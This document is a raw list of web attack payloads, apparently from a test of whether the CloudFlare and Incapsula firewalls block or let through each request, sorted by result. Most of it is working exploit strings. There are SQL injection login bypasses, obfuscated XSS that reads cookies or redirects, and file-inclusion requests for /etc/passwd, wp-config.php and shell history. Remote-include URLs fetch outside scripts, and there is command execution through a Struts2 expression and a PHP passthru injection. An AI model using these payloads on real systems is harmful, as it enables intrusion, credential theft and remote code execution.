accion=Iniciar_login&uid=admin%27+AND%2F*comment1*%2F1%2F*comment2*%2F%26%2361%3B%2F*
comment3*%2F1%23&clave=blaa&captcha=3ybg P 

accion=Iniciar_login&uid=admin%27+AND+0x2e+REGEXP+0x2e%23&clave=blaster&captcha=xup4 P 
accion=Iniciar_login&uid=admin%27+and+%27%2528%27+%26%2361%3B+%27%2528%27%23&clave=add
d&captcha=bit7 P 

accion=Iniciar_login&uid=admin%2527&clave=password&captcha=g5zi P 

accion=Iniciar_login&uid=admin%27+and+1%25253d1%23&clave=test&captcha=tnn4 P 
accion=Iniciar_login&uid=admin%27+AND+230984752+%26%2361%3B+230984752%23&clave=test&captc
ha=9wnf P 
accion=Iniciar_login&uid=admin%27+%2520%2520%2520%2520%2520%2520%2520%2520%2520AND%25
20%2520%2520%2520%2520%2520%2520%2520%26%2361%3B%2520%2520%2520%2520%2520%2520%
2520%25201%23&clave=dsdsd&captcha=smcr P 

 

 
 

 

XSS Bypass: 

http://cf.destr0y.net/poc.php?x=%3Cinput%20onfocus=write%28document.location=%27http://zeroscience.mk%27
%29%20autofocus%3E 
http://cf.destr0y.net/poc.php?x=<body 
onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><b
r><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> 
http://cf.destr0y.net/poc.php?x=%3Cform%3E%3Cbutton%20formaction=%22http://zeroscience.mk%22%3EX%3C/b
utton%3E 
http://cf.destr0y.net/poc.php?x=%3Cbody%20oninput=alert(1)%3E%3Cinput%20autofocus%3E 
http://cf.destr0y.net/poc.php?x=<h1337><body oninput=document.location="http://zeroscience.mk"><input 
autofocus> 
'hallo' cookie value - J0xy0L </h2> <script>alert(document.cookie)</script> 
/xx1.php?x=%22%3E%3C%22%22%3E/**/%3Cscript%3E/**/%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20alert%20%20%20%20%20%20%20%20(1);/**/%3C/script%3E  

 /xx1.php?x=%22%3E%3C%22%22%3E%2F%2A%2A%2F%3C%73%63%72%69%70%74%3E%2F%2A%2A%2F%20%2
0%20%20%20%20%20%20%20%20%20%20%20%20%20%61%6C%65%72%74%20%20%20%20%20%20%20%20
%28%31%29%3B%2F%2A%2A%2F%3C%2F%73%63%72%69%70%74%3E 

 xx1.php?x=<Sc%2552iPt>alert(1);<%2FSc%2552iPt> 
/poc.php?x=%3Cform%20id=%22test%22%3E%3C/form%3E%3Cbutton%20form=%22test%22%20formaction=%2
2javascript:alert%281%29%22%3EX%3C/button%3E 
/poc.php?x=%3Cform%20id=test%20onforminput=alert(1)%3E%3Cinput%3E%3C/form%3E%3Cbutton%20form=t
est%20onformchange=alert(2)%3EX%3C/button%3E 

  
 

 



LFI/RFI Bypass: 

http://cf.destr0y.net/list/admin/index.php?p=http://in.zeroscience.mk/info.php? 
http://cf.destr0y.net//poc.php?cmd2=http://zeroscience.mk/pentest/tim.php 
http://cf.destr0y.net//poc.php?cmd2=/etc/hosts 
http://cf.destr0y.net//poc.php?cmd2=///etc///hosts 
http://cf.destr0y.net/poc.php?cmd2=../../etc/hosts 
http://cf.destr0y.net/poc.php?cmd2=%2F%2F%2Fetc%2F%2F%2Fhosts 
http://cf.destr0y.net/poc.php?cmd2=http://cf.destr0y.net/poc.php?cmd2=../../etc/hosts :) 
http://cf.destr0y.net//poc.php?cmd=cat+/etc/passwd 
http://cf.destr0y.net//poc.php?cmd=cat%20//etc//passwd 
http://cf.destr0y.net//poc.php?cmd=cat%20\//etc\//passwd 
http://cf.destr0y.net/poc.php?cmd=uname%20-a 
http://cf.destr0y.net/poc.php?cmd=ps%20-aux 
http://cf.destr0y.net/poc.php?cmd=ps+-aux 
http://cf.destr0y.net/poc.php?cmd=cat%20/etc/passwd%20|%20grep%20root 
http://cf.destr0y.net/poc.php?cmd=cat%20/etc/passwd 
/webgrind/index.php?file=/etc/%20%20%20%20%20/passwd%20%20%20%20%20&op=fileviewer 

 /webgrind/index.php?file=%20%20%20%20%20//etc//passwd%20%20%20%20%20&op=fileviewer 
 /webgrind/index.php?file=///etc///passwd&op=fileviewer 

/webgrind/index.php?file=\///..\///..\//etc\//passwd&op=fileviewer 
 /webgrind/index.php?file=//etc//passwd&op=fileviewer 
 /webgrind/index.php?file=///etc////passwd&op=fileviewer 
 /webgrind/index.php?file=%2F%2F%2Fetc%2F%2F%2F%2Fpasswd&op=fileviewer 
 /webgrind/index.php?file=..//..//..//etc//passwd&op=fileviewer 
 /webgrind/index.php?file=///..//..///etc//passwd&op=fileviewer 
 /webgrind/index.php?file=%2F%2F%2F..%2F%2F..%2F%2F%2Fetc%2F%2Fpasswd&op=fileviewer 

http://in.zeroscience.mk/webgrind/index.php?op=fileviewer&file=/var/www/wp/wp-config.php 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



Incapsula 

LFI/RFI Blocked: 

http://in.zeroscience.mk/webgrind/index.php?file=/etc/passwd&op=fileviewer 
http://in.zeroscience.mk/webgrind/index.php?file=\/etc\/passwd&op=fileviewer 
http://in.zeroscience.mk/webgrind/index.php?file=\/\/\/etc\/\/\/passwd&op=fileviewer 
http://in.zeroscience.mk/webgrind/index.php?file=\\\\\\\\\\\\\/etc\////////////////passwd&op=fileviewer 
http://in.zeroscience.mk/webgrind/index.php?file=%5c/etc%5c/passwd&op=fileviewer (url) 
http://in.zeroscience.mk/webgrind/index.php?file=%2Fetc%2Fpasswd&op=fileviewer (url) 
http://in.zeroscience.mk/webgrind/index.php?file=%2F%65%74%63%2F%70%61%73%73%77%64&op=fileviewer 
(hex) 
http://in.zeroscience.mk/webgrind/index.php?file=\%00/etc\%00/passwd&op=fileviewer 
http://inc.zeroscience.mk/poc.php?cmd2=../../../../..//home/zslab/public_html/incapsula/.htaccess 
http://in.zeroscience.mk/nucleus3.61/action.php?DIR_LIBS=http://cf.destr0y.net/info.php???????? 
http://in.zeroscience.mk/list/admin/index.php?p=http://in.zeroscience.mk/info.php? 
http://in.zeroscience.mk/list/admin/index.php?p=HTTP:%2f%2fcf.destr0y.net/info.php? 
http://inc.zeroscience.mk/poc.php?cmd2=http://elgringodelanoche.com/c.txt%00 
/webgrind/index.php?file=///..//..///etc//passwd&op=fileviewer 
/webgrind/index.php?file=..//..//..//etc//passwd&op=fileviewer 
/webgrind/index.php?file=%2F%2F%2F..%2F%2F..%2F%2F%2Fetc%2F%2Fpasswd&op=fileviewer  
http://4sylum.elgringodelanoche.com/webgrind/index.php?file=/etc//passwd&op=fileviewer 
http://4sylum.elgringodelanoche.com/webgrind/index.php?file=//etc//passwd&op=fileviewer 
http://4sylum.elgringodelanoche.com/webgrind/index.php?file=\//etc\//passwd&op=fileviewer 
http://4sylum.elgringodelanoche.com/webgrind/index.php?file=%2F%2Fetc%2F%2Fpasswd&op=fileviewer 
http://4sylum.elgringodelanoche.com/webgrind/index.php?file=%2F%2F%65%74%63%2F%2F%70%61%73%73%77
%64&op=fileviewer 
http://4sylum.elgringodelanoche.com/webgrind/index.php?file=%252fetc%252fpasswd&op=fileviewer 
/webgrind/index.php?file=/etc/%20%20%20%20%20/passwd%20%20%20%20%20&op=fileviewer 
/webgrind/index.php?file=%20%20%20%20%20//etc//passwd%20%20%20%20%20&op=fileviewer 
/webgrind/index.php?file=///etc////passwd&op=fileviewer 
/webgrind/index.php?file=%2F%2F%2Fetc%2F%2F%2F%2Fpasswd&op=fileviewer 
http://4sylum.elgringodelanoche.com/webgrind/index.php?file=%2F%2F%65%74%63%2F%2F%70%61%73%73%77
%64&op=fileviewer 
 

 

RCE Blocked: 

http://in.zeroscience.mk:8080/struts2-showcase-
2.1.8/showcase.action?action:%25{Runtime.getRuntime%28%29.exec%28%22mkdir%20/tmp/WTFFF%22%29} 
http://in.zeroscience.mk/wp/wp-
content/plugins/timthumb/timthumb.php?src=http://zeroscience.mk/pentest/tim.php 
http://in.zeroscience.mk/wp/wp-
content/plugins/timthumb/timthumb.php?src=http://zeroscience.mk/pentest/tim.php??????? 
 

 

 

RCE Bypass: 

http://inc.destr0y.net/glpi/index.php?cmd=id;pwd;ls -al  
 
- <input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*"> 

 



XSS Blocked: 

http://inc.destr0y.net:8080/struts2-showcase-2.1.8/person/editPerson.action (cf also) depends on payload. 
http://in.zeroscience.mk/poc.php?x=%3Carticle%20xmlns%20=%22urn:img%20src=x%20onerror=alert%281%29//%
22%20%3E123 
http://in.zeroscience.mk/poc.php?x=%3Cstyle%3Ebody%20{-moz-
binding:%20url%28%27http://p.zeroscience.mk/s.xml%23mycode%27%29%3b}%3C/script%3E 
http://in.zeroscience.mk/poc.php?x=%3Cbody%20onscroll=alert(1)%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%
3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cinput%20autofocus%3E 
http://in.zeroscience.mk/poc.php?x=%3Cvideo%3E%3Csource%20onerror=%22alert(1)%22%3E 
http://in.zeroscience.mk/poc.php?x=%3Cscript%20type=%22text/xaml%22%3E%3CCanvas%20Loaded=%22alert%22
%20/%3E%3C/script%3E 
http://in.zeroscience.mk/poc.php?x=%3Cimg%20src%20=%22test%20.jpg%22%20alt%20=%22%60%60onload=xss%
28%29%22%20/%3E 
http://in.zeroscience.mk/poc.php?x=%3Carticle%20xmlns%20=%22urn:img%20src=x%20onerror=alert%281%29//%
22%20%3E123 
http://in.zeroscience.mk/poc.php?x=%3Cstyle%3Ebody%20{-moz-
binding:%20url%28%27http://p.zeroscience.mk/s.xml%23mycode%27%29%3b}%3C/script%3E 
http://in.zeroscience.mk/poc.php?x=%3Cbutton%20/a%22%3E%22%20autofocus%20onfocus=alert&#40;1&#40;%3
E%3C/button%3E 
http://in.zeroscience.mk/poc.php?x=%3Cstyle%3Eh2{color:rgb%28255,0,0%29;top=expression%28document.write%
28%22WADDUP%22%29}%3C/style%3Edsadsaas%3Cscript%20type=%22text/javascript%22%20src=%22xsstcx.js%22
%3E%3C/script%3E 
http://in.zeroscience.mk/poc.php?x=%3Cform%20id=%22test%22%3E%3C/form%3E%3Cbutton%20form=%22test%
22%20formaction=%22javascript:var%20_0x9226=[%22\x63\x6F\x6F\x6B\x69\x65%22];alert%28document[_0x9226
[0]]%29;%22%3EX%3C/button%3E <- alert(document.cookie) [http://javascriptobfuscator.com/] 
http://in.zeroscience.mk/poc.php?x=%3Cform%20id=%22test%22%3E%3C/form%3E%3Cbutton%20form=%22test%
22%20formaction=%22javascript:var%20_0x20e1=[%22\x48\x77\x61\x7A\x7A\x7A%22,%22\x63\x6F\x6F\x6B\x69\x
65%22];var%20a=_0x20e1[0];function%20MsgBox%28_0x519bx3%29{alert%28document[_0x20e1[1]]%29;}%20;Ms
gBox%28%29;%22%3EX%3C/button%3E <---- var a="Hwazzz";function 
MsgBox(msg){alert(document.cookie);}MsgBox();  [http://javascriptobfuscator.com/] 
http://in.zeroscience.mk/poc.php?x=%3Cform%20id=%22test%22%3E%3C/form%3E%3Cbutton%20form=%22test%
22%20formaction=%22javascript:unescape%28%27%3Cscript%20language%3D%22javascript%22%3Efunction%20dF
%28s%29{var%20s1%3Dunescape%28s.substr%280%2Cs.length-
1%29%29%3B%20var%20t%3D%27%27%3Bfor%28i%3D0%3Bi%3Cs1.length%3Bi%2B%2B%29t%2B%3DString.fromC
harCode%28s1.charCodeAt%28i%29-s.substr%28s.length-
1%2C1%29%29%3Bdocument.write%28unescape%28t%29%29%3B}%3C%2Fscript%3E%27%29%29;dF%28%27{fw*7
5f*8I*77M|f%7F%7F%7F*77*8Gkzshynts*75RxlGt}*7%3Drxl*7%3E*%3CGfqjwy*7%3Dithzrjsy3httpnj*7%3E*8G*%3
CIRxlGt}*7%3D*7%3E*8G*5F5%27%29%22%3EX%3C/button%3E 
http://in.zeroscience.mk/poc.php?x=%3Cform%20id=%22test%22%3E%3C/form%3E%3Cbutton%20form=%22test%
22%20formaction=%22javascript:unescape%28%27%3Cscript%20language%3D%22javascript%22%3Efunction%20dF
%28s%29{var%20s1%3Dunescape%28s.substr%280%2Cs.length-
1%29%29%3B%20var%20t%3D%27%27%3Bfor%28i%3D0%3Bi%3Cs1.length%3Bi%2B%2B%29t%2B%3DString.fromC
harCode%28s1.charCodeAt%28i%29-s.substr%28s.length-
1%2C1%29%29%3Bdocument.write%28unescape%28t%29%29%3B}%3C%2Fscript%3E%27%29%29;dF%28%27fqjwy
*7%3D*7%3C|fiizu*7%3C*7%3E*8G5%27%29%22%3EX%3C/button%3E <- alert('waddup') 
[http://www.csgnetwork.com/directjsencoder.html] 
 
http://in.zeroscience.mk/poc.php?x=%3Cform%20id=%22test%22%3E%3C/form%3E%3Cbutton%20form=%22test%
22%20formaction=%22javascript:%20var%20_0xc860=[%22\uFFFD\x28\uFFFD\x2E\uFFFD\x29%22,%22\x7C%22,%2
2\x73\x70\x6C\x69\x74%22,%22\x61\x6C\x65\x72\x74\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x63\x6F\x6F\x
6B\x69\x65%22,%22%22,%22\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65%22,%22\x72\x65\x70\x6C\x61\
x63\x65%22,%22\x5B\xA1\x2D\xFF\x5D\x2B%22,%22\x67%22];eval%28function%20%28_0x8d8ax1,_0x8d8ax2,_0x8
d8ax3,_0x8d8ax4,_0x8d8ax5,_0x8d8ax6%29{_0x8d8ax5=function%20%28_0x8d8ax3%29{return%20%28_0x8d8ax3
%3C_0x8d8ax2?_0xc860[4]:_0x8d8ax5%28_0x8d8ax3/_0x8d8ax2%29%29+String[_0xc860[5]]%28_0x8d8ax3%_0x8d
8ax2+161%29;}%20;if%28!_0xc860[4][_0xc860[6]]%28/^/,String%29%29{while%28_0x8d8ax3--
%29{_0x8d8ax6[_0x8d8ax5%28_0x8d8ax3%29]=_0x8d8ax4[_0x8d8ax3]||_0x8d8ax5%28_0x8d8ax3%29;}%20;_0x8d



8ax4=[function%20%28_0x8d8ax5%29{return%20_0x8d8ax6[_0x8d8ax5];}%20];_0x8d8ax5=function%20%28%29{re
turn%20_0xc860[7];}%20;_0x8d8ax3=1;}%20;while%28_0x8d8ax3--
%29{if%28_0x8d8ax4[_0x8d8ax3]%29{_0x8d8ax1=_0x8d8ax1[_0xc860[6]]%28%20new%20RegExp%28_0x8d8ax5%2
8_0x8d8ax3%29,_0xc860[8]%29,_0x8d8ax4[_0x8d8ax3]%29;}%20;}%20;return%20_0x8d8ax1;}%20%28_0xc860[0],3
,3,_0xc860[3][_0xc860[2]]%28_0xc860[1]%29,0,{}%29%29;%22%3EX%3C/button%3E 
http://inc.zeroscience.mk/poc.php?x=%3Cimg/src=%22%3E%22%20onerror=alert%281%29%3E 
/xx1.php?x="><SCRIPT>alert(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))</S
CRIPT> 
/xx1.php?x=%253Cscript%253Ealert(1);%253C%252Fscript%253E 
/xx1.php?x="><""><script>alert(1);/**/</script> 
/xx1.php?x="><"">/**/<script>alert(1);/**/</script>  
/xx1.php?x=%22%3E%3C%22%22%3E/**/%3Cscript%3E/**/%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20alert%20%20%20%20%20%20%20%20(1);/**/%3C/script%3E 
/xx1.php?x=%22%3E%3C%22%22%3E%2F%2A%2A%2F%3C%73%63%72%69%70%74%3E%2F%2A%2A%2F%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%61%6C%65%72%74%20%20%20%20%20%20%20%20%28%3
1%29%3B%2F%2A%2A%2F%3C%2F%73%63%72%69%70%74%3E 
/xx1.php?x=<Sc%2552iPt>alert(1);<%2FSc%2552iPt> 
/xx1.php?x=<BODY onload%3Dalert(1)> 
 

 

 

LFI Bypass: 

 
http://inc.zeroscience.mk/poc.php?cmd2=../../.././../../home/zslab/.bash_history 
http://in.zeroscience.mk/poc.php?cmd2=http://in.zeroscience.mk/info.php? (captcha) 
http://in.zeroscience.mk/webgrind/index.php?op=fileviewer&file=/var/www/wp/wp-config.php 
 

 

XSS Bypass: 

 
http://in.zeroscience.mk/poc.php?x=%3Cform%20id=test%20onforminput=alert(1)%3E%3Cinput%3E%3C/form%3E
%3Cbutton%20form=test%20onformchange=alert(2)%3EX%3C/button%3E 
http://in.zeroscience.mk/poc.php?x=%3Cform%20id=%22test%22%3E%3C/form%3E%3Cbutton%20form=%22test%
22%20formaction=%22javascript:alert%281%29%22%3EX%3C/button%3E 
 

 

SQLi Blocked: 

Entire list of SQLi for CloudFlare. 
 
/accion=Iniciar_login&uid=admin%27+++++++++++++++++++++++++and++++++++++++++++++++++1+++++++++++++
+++++++++++++%3D+++++++++++++++++++++++1%23&clave=test&captcha=czq5 
/accion=Iniciar_login&uid=admin%27+AND%2F*comment1*%2F1%2F*comment2*%2F%3D%2F*comment3*%2F1%
23&clave=test&captcha=7uve 
/accion=Iniciar_login&uid=%61%64%6D%69%6E%27%20%61%6E%64%20%31%3D%31%23&clave=test&captcha=tbc
7 
/accion=Iniciar_login&uid=admin%27+%2F*%21+or+*%2F+1%3D1--+-&clave=admin&captcha=f8gp 
/accion=Iniciar_login&uid=admin%27+and+%27a%27%3D%27a%27%23&clave=test&captcha=p2i7 
/accion=Iniciar_login&uid=admin%27+and+%27t00t%27+%3D+%27t00t%27%23&clave=admin&captcha=32cp 
/accion=Iniciar_login&uid=admin%27+AND%2F*comment1*%2F1%2F*comment2*%2F%26%2361%3B%2F*comme
nt3*%2F1%23&clave=blaa&captcha=3ybg 
/accion=Iniciar_login&uid=admin%27+AND+0x2e+REGEXP+0x2e%23&clave=blaster&captcha=xup4 



/accion=Iniciar_login&uid=admin%27+and+%27%2528%27+%26%2361%3B+%27%2528%27%23&clave=addd&captc
ha=bit7 
/accion=Iniciar_login&uid=admin%2527&clave=password&captcha=g5zi 
/accion=Iniciar_login&uid=admin%27+and+1%25253d1%23&clave=test&captcha=tnn4 
/accion=Iniciar_login&uid=admin%27+AND+230984752+%26%2361%3B+230984752%23&clave=test&captcha=9wnf 
/accion=Iniciar_login&uid=admin%27+%2520%2520%2520%2520%2520%2520%2520%2520%2520AND%2520%252
0%2520%2520%2520%2520%2520%2520%26%2361%3B%2520%2520%2520%2520%2520%2520%2520%25201%23
&clave=dsdsd&captcha=smcr 
/accion=Iniciar_login&uid=admin' and '%28' &#61; '%28'#&clave=password&captcha=b5dt 
 

 

 

Images (testbed devel/deja vu): 

 

 



 

 

 



 

 

 



 

 

 

 

 



 

 

 


